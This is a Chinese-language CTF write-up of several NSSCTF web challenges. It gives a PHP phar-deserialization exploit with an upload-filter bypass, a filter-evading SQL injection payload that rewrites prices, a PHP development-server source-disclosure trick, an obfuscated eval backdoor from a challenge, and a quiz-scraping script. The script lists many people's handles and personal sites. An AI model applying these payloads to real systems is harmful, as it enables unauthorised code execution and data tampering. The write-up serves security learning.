NSSCTF第16页（2）

[NSSRound#4 SWPU]1zweb(revenge)

查看index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

查看upload.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

后缀必须是图片，且内容不能出现phar标志

可以压缩zip绕过

上传后用phar伪协议读取

file_get_contents读phar文件时能能触发返序列化漏洞,绕过一下wakeup()函数 ，并让 ljt=Misc,dky=Re

<?php
ini_set("phar.readonly","Off");
class LoveNss{
??? public $ljt;
??? public $dky;
??? public $cmd;
??? public function __construct(){
??????? $this->ljt="Misc";
??????? $this->dky="Re";
??????? $this->cmd="system('cat /flag');";
??? }
}
$a = new LoveNss();
?
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
?
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?
?>
#注意要手动将php.ini中的phar.readonly改成Off

得到aa.phar文件

还需要绕一下wakeup()

用010打开修改一下

修改成jpg文件发现上传失败

可能是文件压缩的问题

在kali利用gzip命令 gzip aa.phar

得到aa.phar.gz，改文件名为1.jpg上交，用phar读取发现签名损坏，所以要进行签名修复，phar由data,data签名（20位）,和签名格式（8位）组成。?

修复签名的phar文件 gzip压缩后，修改后缀为.png?

最后得到flag

[SWPUCTF 2023 秋季新生赛]NSS大卖场

在提示看到了数据库备份

知道了查询语句

抓个包发现买哪个url就会出现/buy/xxx

标签说是updata注入 ，查查资料

不一样的sql注入_update注入-CSDN博客?

SQL注入之update注入 - 简书?

?在url后输入buy/1'发现有报错，单引号注入

由于得到flag的条件为购买flag，那么我们可以用update语句来让flag只需要一块钱购买

发现被过滤了

空格用%09绕过，updata和where用大小写绕过

1';upDate%09items%09set%09price=1%09Where%09id=8;#?

?

购买然后去背包查看flag

?[MoeCTF 2021]fake game

node.js原型链污染

Nodejs原型链污染 - 知乎

浅谈 Nodejs原型链污染_node 原型-CSDN博客

深入理解 JavaScript Prototype 污染攻击 | 离别歌 p神

第一次学原型链污染，p神的文章很易懂

得到了flag

?[FSCTF 2023]签到plus

发现没有东西

标签提示说是有源码泄露 扫描一下

访问发现是phpinfo页面，得到flag

提交发现是假的flag

去查一一下这个php版本，发现有漏洞

PHP＜=7.4.21 Development Server源码泄露漏洞-CSDN博客

PHP<=7.4.21 Development Server源码泄露漏洞

直接利用payload

原理：

? 这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
??????? 第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录，它会检查是否存在索引文件，如index.php或 index.html，并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
??????? 而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查，以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP，或者如果扩展名的长度不等于3,则该文件被视为静态文件，因此如果我们把第二个GET请求的内容改为类似1.txt的文件时，php源码将会被以静态文件的方式泄露(即直接访问获取)
?

成功读取源码

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
??? eval($😭($_GET['👽🦐']));
};

直接cat，结束

[HGAME 2023 week1]Guess Who I Am?

看源代码有个hint

?打开发现是所有的回答

看了好多wp，知道这道题的类型是爬虫题

大佬的exp

from bs4 import BeautifulSoup
import requests
import json

answers = [
    {
        "id": "ba1van4",
        "intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ??粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640",
        "url": "https://ba1van4.icu"
    },
    {
        "id": "yolande",
        "intro": "21级 / 非常菜的密码手 / 很懒的摸鱼爱好者，有点呆，想学点别的但是一直开摆",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rY328VIqDc7lNtujYic8JxA&s=640",
        "url": "https://y01and3.github.io/"
    },
    {
        "id": "t0hka",
        "intro": "21级 / 日常自闭的Re手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EYNwm1PQe8o5OcghFb4zfw&s=640",
        "url": "https://blog.t0hka.top/"
    },
    {
        "id": "h4kuy4",
        "intro": "21级 / 菜鸡pwn手 / 又菜又爱摆",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=BmACniaibVb6IL6LiaYF4Uvlw&s=640",
        "url": "https://hakuya.work"
    },
    {
        "id": "kabuto",
        "intro": "21级web / cat../../../../f*",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=oPn2ez6Nq12GqPZG6cV7nw&s=640",
        "url": "https://www.bilibili.com/video/BV1GJ411x7h7/"
    },
    {
        "id": "R1esbyfe",
        "intro": "21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=FLyUHP6nYov19gA0ia83u8Q&s=640",
        "url": "https://r1esbyfe.top/"
    },
    {
        "id": "tr0uble",
        "intro": "21级 / 喜欢肝原神的密码手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=bgcib3gBjJGdKEf7BZ512Uw&s=640",
        "url": "https://clingm.top"
    },
    {
        "id": "Roam",
        "intro": "21级 / 入门级crypto",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5wzr9TVyw2nxOz5Jb7ceaQ&s=640",
        "url": "#"
    },
    {
        "id": "Potat0",
        "intro": "20级 / 摆烂网管 / DN42爱好者",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=NicTy1CDqeHsgzbZEIUU2wg&s=640",
        "url": "https://potat0.cc/"
    },
    {
        "id": "Summer",
        "intro": "20级 / 歪脖手 / 想学运维 / 发呆业务爱好者",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=4y6zxTBSB3cbseeyPvQWng&s=640",
        "url": "https://blog.m1dsummer.top"
    },
    {
        "id": "chuj",
        "intro": "20级 / 已退休不再参与大多数赛事 / 不好好学习，生活中就会多出许多魔法和奇迹",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=aM4tJSQSxB5gcauIMDEtUg&s=640",
        "url": "https://cjovi.icu"
    },
    {
        "id": "4nsw3r",
        "intro": "20级会长 / re / 不会pwn",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=j3LOiav9IluKSYg1VEibblZw&s=640",
        "url": "https://4nsw3r.top/"
    },
    {
        "id": "4ctue",
        "intro": "20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期",
        "url": "#"
    },
    {
        "id": "0wl",
        "intro": "20级 / Re手 / 菜",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=06FRYslcuprt59OxibicdhqQ&s=640",
        "url": "https://0wl-alt.github.io"
    },
    {
        "id": "At0m",
        "intro": "20级 / web / 想学iot",
        "url": "https://homeboyc.cn/"
    },
    {
        "id": "ChenMoFeiJin",
        "intro": "20级 / Crypto / 摸鱼学代师",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5xyCaLib3lovjrUzf5pWxDQ&s=640",
        "url": "https://chenmofeijin.top"
    },
    {
        "id": "Klrin",
        "intro": "20级 / WEB / 菜的抠脚 / 想学GO",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=nnzEWNwxMS88jKYre5fOjg&s=640",
        "url": "https://blog.mjclouds.com/"
    },
    {
        "id": "ek1ng",
        "intro": "20级 / Web / 还在努力",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=pJFuHEqNaFk1If1STvRibWw&s=640",
        "url": "https://ek1ng.com"
    },
    {
        "id": "latt1ce",
        "intro": "20级 / Crypto&BlockChain / Plz V me 50 eth",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EmPiaz7Msgg7iaia9tibibjdUyw&s=640",
        "url": "https://lee-tc.github.io/"
    },
    {
        "id": "Ac4ae0",
        "intro": "*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EI7A02PYs5WUVFP2bciad8w&s=640",
        "url": "https://twitter.com/LAttic1ng"
    },
    {
        "id": "Akira",
        "intro": "19级 / 不会web / 半吊子运维 / 今天您漏油了吗",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=ku1vqyI1hLJr61PGIlic7Ow&s=640",
        "url": "https://4kr.top"
    },
    {
        "id": "qz",
        "intro": "19级 / 摸鱼美工 / 学习图形学、渲染ing",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=q5qVDcvyzxee4qiays52mibA&s=640",
        "url": "https://fl0.top/"
    },
    {
        "id": "Liki4",
        "intro": "19级 / 脖子笔直歪脖手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=E3j3BJrsAfyl1arfnFKufQ&s=640",
        "url": "https://github.com/Liki4"
    },
    {
        "id": "0x4qE",
        "intro": "19级 / </p><p>Web",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=K7icYial1VVzlNl7hrD9MlNw&s=640",
        "url": "https://github.com/0x4qE"
    },
    {
        "id": "xi4oyu",
        "intro": "19级 / 骨瘦如柴的胖手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=JfeMY6Lz5ZU4GmtTV85otQ&s=640",
        "url": "https://www.xi4oyu.top/"
    },
    {
        "id": "R3n0",
        "intro": "19级 / bin底层选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icY08gnMlXtoYIJ9ib3eJQ2g&s=640",
        "url": "https://r3n0.top"
    },
    {
        "id": "m140",
        "intro": "19级 / 不会re / dl萌新 / 太弱小了，没有力量 / 想学游戏",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=zt0iccbnGuV8dOpXIYrJgvg&s=640",
        "url": "#"
    },
    {
        "id": "Mezone",
        "intro": "19级 / 普通的binary爱好者。",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rDD29iahzzg8AvQX7fdbFPg&s=640",
        "url": "#"
    },
    {
        "id": "d1gg12",
        "intro": "19级 / 游戏开发 / 🐟粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icawQKtjLcRiaj7scTRBZ9Qw&s=640",
        "url": "https://d1g.club"
    },
    {
        "id": "Trotsky",
        "intro": "19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=LiasEshjTXTrNzJjPHVY3Vw&s=640",
        "url": "https://altonhe.github.io/"
    },
    {
        "id": "Gamison",
        "intro": "19级 / 挖坑不填的web选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=0VaAu2go9mvrMXu1ibmKy1g&s=640",
        "url": "http://aw.gamison.top"
    },
    {
        "id": "Tinmix",
        "intro": "19级会长 / DL爱好者 / web苦手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=L2EclrAltb7lk3LBPY6oWA&s=640",
        "url": "http://poi.ac"
    },
    {
        "id": "RT",
        "intro": "19级 / Re手，我手呢？",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=p1TD1qwKfEK8NZExRDqic1A&s=640",
        "url": "https://wr-web.github.io"
    },
    {
        "id": "wenzhuan",
        "intro": "18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包",
        "url": "https://wzyxv1n.top/"
    },
    {
        "id": "Cosmos",
        "intro": "18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨",

        "url": "https://cosmos.red"
    },
    {
        "id": "Y",
        "intro": "18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手",
        "url": "https://blog.xyzz.ml:444/"
    },
    {
        "id": "Annevi",
        "intro": "18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=WN9x96MpjSJ3Gc7a3SHtDw&s=640",
        "url": "https://annevi.cn"
    },
    {
        "id": "logong",
        "intro": "18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟",
        "url": "http://logong.vip"
    },
    {
        "id": "Kevin",
        "intro": "18 级 / Web / 车万",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=jaXAqywDMbia39e4OfGXicPQ&s=640",
        "url": "https://harmless.blue/"
    },
    {
        "id": "LurkNoi",
        "intro": "18级 / 会一丢丢crypto / 摸鱼",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=CLTlN5QPS3aI60icIoxGmdQ&s=640",
        "url": "#"
    },
    {
        "id": "幼稚园",
        "intro": "18级会长 / 二进制安全 /  干拉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=G2o7mX9RCTkiaCHeEiaJLBwA&s=640",
        "url": "https://danisjiang.com"
    },
    {
        "id": "lostflower",
        "intro": "18级 / 游戏引擎开发 / 尚有梦想的game maker",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=eQHtN69C2tgM8Ul8PmtTKw&s=640",
        "url": "https://r000setta.github.io"
    },
    {
        "id": "Roc826",
        "intro": "18 级 / Web 底层选手",
        "url": "http://www.roc826.cn/"
    },
    {
        "id": "Seadom",
        "intro": "18 级 / Web / 真·菜到超乎想象 / 拼死学（mo）习（yu）中",
        "url": "#"
    },
    {
        "id": "ObjectNotFound",
        "intro": "18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合！",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=yQnkF86Uy6UkZrZmFYLL4g&s=640",
        "url": "https://www.zhouweitong.site"
    },
    {
        "id": "Moesang",
        "intro": "18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼！",
        "url": "https://blog.wz22.cc"
    },
    {
        "id": "E99p1ant",
        "intro": "18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=AJQ9RJRCavhSibMZtRq2JOQ&s=640",
        "url": "https://github.red/"
    },
    {
        "id": "Michael",
        "intro": "18 级 / Java / 会除我佬",
        "url": "http://michaelsblog.top/"
    },
    {
        "id": "matrixtang",
        "intro": "18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向",
        "url": "#"
    },
    {
        "id": "r4u",
        "intro": "18级 / 不可以摸🐠哦",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rJCqQv1EzicpDW77nMa5bYw&s=640",
        "url": "http://r4u.top/"
    },
    {
        "id": "357",
        "intro": "18级 / 并不会web / 端茶送水选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=POaV9Y85NiaUcibaETEKTpfw&s=640",
        "url": "#"
    },
    {
        "id": "Li4n0",
        "intro": "17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友",
        "url": "https://blog.0e1.top"
    },
    {
        "id": "迟原静",
        "intro": "17级 / Focus on Java Security",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=xyVPFvQ2dWReoBiahd7naSw&s=640",
        "url": "#"
    },
    {
        "id": "Ch1p",
        "intro": "17 级 / 自称 Bin 手实际啥都不会 / 二次元安全",
        "url": "http://ch1p.top"
    },
    {
        "id": "f1rry",
        "intro": "17 级 / Web",
        "url": "#"
    },
    {
        "id": "mian",
        "intro": "17 级 / 业余开发 / 专业摸鱼",
        "url": "https://www.intmian.com"
    },
    {
        "id": "ACce1er4t0r",
        "intro": "17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=gRBlwiawx1lF4UkPKh4Liczg&s=640",
        "url": "#"
    },
    {
        "id": "MiGo",
        "intro": "17级 / 二战人 / 老二次元 / 兴趣驱动生活",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=XzZggL7hDeicLXb2FSic6sfg&s=640",
        "url": "https://migoooo.github.io/"
    },
    {
        "id": "BrownFly",
        "intro": "17级 / RedTeamer / 字节跳动安全工程师",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EnNslsFelj9HibuKoNHwmyg&s=640",
        "url": "https://brownfly.github.io"
    },
    {
        "id": "Aris",
        "intro": "17级/ Key厨 / 腾讯玄武倒水的",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=anjeaJmx1X79Yp1DNxWrRA&s=640",
        "url": "https://blog.ar1s.top"
    },
    {
        "id": "hsiaoxychen",
        "intro": "17级 / 游戏厂打工仔 / 来深圳找我快活",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=YGiaicyZ3NkWfOoGOlLPWvAw&s=640",
        "url": "https://chenxy.me"
    },
    {
        "id": "Lou00",
        "intro": "17级 / web / 东南读研",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=fdAMuUicvOObMv3eZC8y0Ew&s=640",
        "url": "https://blog.lou00.top"
    },
    {
        "id": "Junier",
        "intro": "16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献",
        "url": "#"
    },
    {
        "id": "bigmud",
        "intro": "16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制",
        "url": "#"
    },
    {
        "id": "NeverMoes",
        "intro": "16 级 / Java 福娃 / 上班 996 / 下班 669",
        "url": "#"
    },
    {
        "id": "Sora",
        "intro": "16 级 / Web Developer",
        "url": "https://github.com/Last-Order"
    },
    {
        "id": "fantasyqt",
        "intro": "16 级 / 可能会运维 / 摸鱼选手",
        "url": "http://0x2f.xyz"
    },
    {
        "id": "vvv_347",
        "intro": "16 级 / Rev / Windows / Freelancer",
        "url": "https://vvv-347.space"
    },
    {
        "id": "veritas501",
        "intro": "16 级 / Bin / 被迫研狗",
        "url": "https://veritas501.space"
    },
    {
        "id": "LuckyCat",
        "intro": "16 级 / Web 🐱 / 现于长亭科技实习",
        "url": "https://jianshu.com/u/ad5c1e097b84"
    },
    {
        "id": "Ash",
        "intro": "16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死",
        "url": "#"
    },
    {
        "id": "Cyris",
        "intro": "16 级 / Web 前端 / 美工 / 阿里云搬砖",
        "avatar": "https://cdn.jsdelivr.net/npm/cyris/images/avatar.png",
        "url": "https://cyris.moe/"
    },
    {
        "id": "Acaleph",
        "intro": "16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒！",
        "url": "#"
    },
    {
        "id": "b0lv42",
        "intro": "16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠",
        "url": "https://b0lv42.github.io/"
    },
    {
        "id": "ngc7293",
        "intro": "16 级 / 蟒蛇饲养员 / 高数小王子",
        "url": "https://ngc7292.github.io/"
    },
    {
        "id": "ckj123",
        "intro": "16 级 / Web / 菜鸡第一人",
        "url": "https://www.ckj123.com"
    },
    {
        "id": "cru5h",
        "intro": "16级 / 前web手、现pwn手 / 菜鸡研究生 / scu",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5kpiaPnLZ1cWrp0G8O4qHDg&s=640",
        "url": "#"
    },
    {
        "id": "xiaoyao52110",
        "intro": "16 级 / Bin 打杂 / 他们说菜都是假的，我是真的",
        "url": "#"
    },
    {
        "id": "Undefinedv",
        "intro": "15 级网安协会会长 / Web 安全",
        "url": "#"
    },
    {
        "id": "Spine",
        "intro": "逆向 / 二进制安全",
        "url": "#"
    },
    {
        "id": "Tata",
        "intro": "二进制 CGC 入门水准 / 半吊子爬虫与反爬虫",
        "url": "#"
    },
    {
        "id": "Airbasic",
        "intro": "Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三",
        "url": "#"
    },
    {
        "id": "jibo",
        "intro": "15 级 / 什么都不会的开发 / 打什么都菜",
        "url": "#"
    },
    {
        "id": "Processor",
        "intro": "15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜",
        "url": "https://processor.pub/"
    },
    {
        "id": "HeartSky",
        "intro": "15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出",
        "url": "http://heartsky.info"
    },
    {
        "id": "Minygd",
        "intro": "15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅",
        "url": "#"
    },
    {
        "id": "Yotubird",
        "intro": "15 级 / 已入 Python 神教",
        "url": "#"
    },
    {
        "id": "c014",
        "intro": "15 级 / Web 🐶 / 汪汪汪",
        "url": "#"
    },
    {
        "id": "Explorer",
        "intro": "14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研",
        "url": "#"
    },
    {
        "id": "Aklis",
        "intro": "14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师",
        "url": "#"
    },
    {
        "id": "Sysorem",
        "intro": "14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾",
        "url": "#"
    },
    {
        "id": "Hcamael",
        "intro": "13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞，密码学，区块链都看得懂一点，但啥也不会",
        "url": "#"
    },
    {
        "id": "LoRexxar",
        "intro": "14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员",
        "url": "https://lorexxar.cn/"
    },
    {
        "id": "A1ex",
        "intro": "14 级网安协会副会长 / Web 安全",
        "url": "#"
    },
    {
        "id": "Ahlaman",
        "intro": "14 级网安协会副会长 / 无线安全",
        "url": "#"
    },
    {
        "id": "lightless",
        "intro": "Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究",
        "url": "https://lightless.me/"
    },
    {
        "id": "Edward_L",
        "intro": "13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全，fuzz，符号执行方向研究",
        "url": "#"
    },
    {
        "id": "逆风",
        "intro": "13 级菜鸡 / 大数据打杂",
        "url": "https://github.com/deadwind4"
    },
    {
        "id": "陈斩仙",
        "intro": "什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU",
        "url": "https://mxgcccc4.github.io/"
    },
    {
        "id": "Eric",
        "intro": "渗透 / 人工智能 / 北师大博士在读",
        "url": "https://3riccc.github.io"
    }
]

def get_anser(str):
    for i in range(len(answers)):
        if str == answers[i]['intro']:
            return answers[i]['id']


if __name__ == '__main__':
    url = 'http://node5.anna.nssctf.cn:28417'
    verifyAnswer = url + '/api/verifyAnswer'
    getQuestion = url +'/api/getQuestion'
    score = url+'/api/getScore'

    s = requests.session()

    for i in range(len(answers)):
        r = s.get(getQuestion)
        soup = BeautifulSoup(r.text, "html.parser")
        question = json.loads(soup.contents[0])['message']
        answer = get_anser(question)
        # print(question,":",answer)
        data = {'id':answer}
        veri_r = s.post(verifyAnswer,data=data)
    print(s.get(score).text)

得到flag

爬虫脚本没有进行学习过，还是差了很多东西